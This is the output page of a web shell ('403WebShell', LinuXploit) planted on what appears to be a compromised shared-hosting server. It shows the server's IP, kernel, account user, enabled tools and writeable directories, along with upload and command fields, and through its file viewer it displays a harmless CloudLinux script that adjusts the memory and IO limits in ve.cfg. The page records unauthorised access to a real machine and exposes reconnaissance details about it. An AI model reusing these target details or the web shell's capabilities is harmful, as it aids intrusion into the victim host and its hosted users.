Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.128.171.149
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/remove_ubc.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import os
import sys
import xml.dom.minidom as xml

CoreVersion = 6
core = os.uname()
if core[2].find('el5.lve0.8') != -1:
    CoreVersion = 5

# defined ve.cfg variables
ve_cfg = ''
ve_lveconfig = ''
ve_ubc = ''
ve_default = ''
ve_lve = ''
ve_defaults = ''
ve_package = ''
ubc = 'false'

VE_CFG_PATH = '/etc/container/ve.cfg'
VE_CFG_PATH_TMP = VE_CFG_PATH + '.tmp'


# Save XML config ve.cfg
def save_xml(xml_config):
    xml_config = xml_config.toprettyxml(encoding='utf-8', indent='', newl='')
    xml_config = xml_config.replace("\n", '').replace("\t", '')
    new_xml = xml.parseString(xml_config)
    buf = new_xml.toprettyxml(encoding='utf-8')
    if not buf:  # paranoia mode)
        raise RuntimeError(f"Rejected attempt to write empty {VE_CFG_PATH}")
    with open(VE_CFG_PATH_TMP, 'wb') as f:
        f.write(buf)
        f.flush()
        os.fsync(f.fileno())
    os.rename(VE_CFG_PATH_TMP, VE_CFG_PATH)


def get_XML_cfg():
    global ve_cfg
    global ve_lveconfig
    global ve_ubc
    global ve_default
    global ve_lve
    global ve_defaults
    global ve_package

    try:
        ve_cfg = xml.parse(VE_CFG_PATH)
    except Exception:
        print('error: bad ve.cfg file')
        sys.exit(1)

    try:
        ve_lveconfig = ve_cfg.getElementsByTagName("lveconfig")[0]
    except Exception:
        print('error: bad ve.cfg file')
        sys.exit(1)

    global ubc
    try:
        ve_ubc = ve_lveconfig.getElementsByTagName("system")[0].getElementsByTagName("ubc")[0].getAttribute("enabled")
        ubc = ve_ubc
    except Exception:
        ubc = 'true'

    try:
        ve_default = ve_lveconfig.getElementsByTagName("defaults")[0]
    except Exception:
        print('warning: default section error in ve.cfg')

    try:
        ve_lve = ve_lveconfig.getElementsByTagName("lve")
    except Exception:
        pass

    try:
        ve_package = ve_lveconfig.getElementsByTagName("package")
    except Exception:
        pass

    # Get defaults values from ve.cfg
    ve_defaults = {}

    try:
        ve_defaults['mem'] = int(ve_default.getElementsByTagName('mem')[0].getAttribute('limit'))
    except Exception:
        ve_defaults['mem'] = 262144
        mem = ve_cfg.createElement('mem')
        mem.setAttribute('limit', str(262144))
        try:
            ve_default.appendChild(mem)
        except Exception:
            pass

    if CoreVersion != 5:
        try:
            ve_defaults['io'] = int(ve_default.getElementsByTagName('io')[0].getAttribute('limit'))
            if ve_defaults['io'] == 25:
                ve_default.getElementsByTagName('io')[0].setAttribute('limit', str(1024))
        except Exception:
            ve_defaults['io'] = 1024
            io = ve_cfg.createElement('io')
            io.setAttribute('limit', str(1024))
            try:
                ve_default.appendChild(io)
            except Exception:
                pass

    if os.path.exists('/sys/module/lve/parameters/lve_ubc'):
        try:
            with open('/sys/module/lve/parameters/lve_ubc', "w", encoding="utf-8") as f:
                f.write('Y')
        except Exception:
            pass


def main():
    get_XML_cfg()
    for el in ve_lve:
        if ubc == 'false':
            try:
                el.getElementsByTagName('mem')[0].setAttribute('limit', str(0))
            except Exception:
                mem = ve_cfg.createElement('mem')
                mem.setAttribute('limit', str(0))
                el.appendChild(mem)

        else:
            try:
                mem = el.getElementsByTagName('mem')[0].getAttribute('limit')
            except Exception:
                mem = ve_cfg.createElement('mem')
                mem.setAttribute('limit', str(ve_defaults['mem']))
                el.appendChild(mem)
            else:
                pass

        if CoreVersion != 5:
            if ve_defaults['io'] == 25:
                try:
                    if (
                        int(el.getElementsByTagName('io')[0].getAttribute('limit')) <= 100
                        and int(el.getElementsByTagName('io')[0].getAttribute('limit')) != 0
                    ):
                        el.getElementsByTagName('io')[0].setAttribute('limit', str(1024))
                except Exception:
                    pass

    for el in ve_package:
        if ubc == 'false':
            try:
                el.getElementsByTagName('mem')[0].setAttribute('limit', str(0))
            except Exception:
                mem = ve_cfg.createElement('mem')
                mem.setAttribute('limit', str(0))
                el.appendChild(mem)
        else:
            try:
                mem = el.getElementsByTagName('mem')[0].getAttribute('limit')
            except Exception:
                mem = ve_cfg.createElement('mem')
                mem.setAttribute('limit', str(ve_defaults['mem']))
                el.appendChild(mem)

        if CoreVersion != 5:
            if ve_defaults['io'] == 25:
                try:
                    if (
                        int(el.getElementsByTagName('io')[0].getAttribute('limit')) <= 100
                        and int(el.getElementsByTagName('io')[0].getAttribute('limit')) != 0
                    ):
                        el.getElementsByTagName('io')[0].setAttribute('limit', str(1024))
                except Exception:
                    pass

    try:
        ve_ubc = ve_lveconfig.getElementsByTagName("system")
        for el in ve_ubc:
            el.parentNode.removeChild(el)
    except Exception:
        pass

    save_xml(ve_cfg)
    sys.exit(0)


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit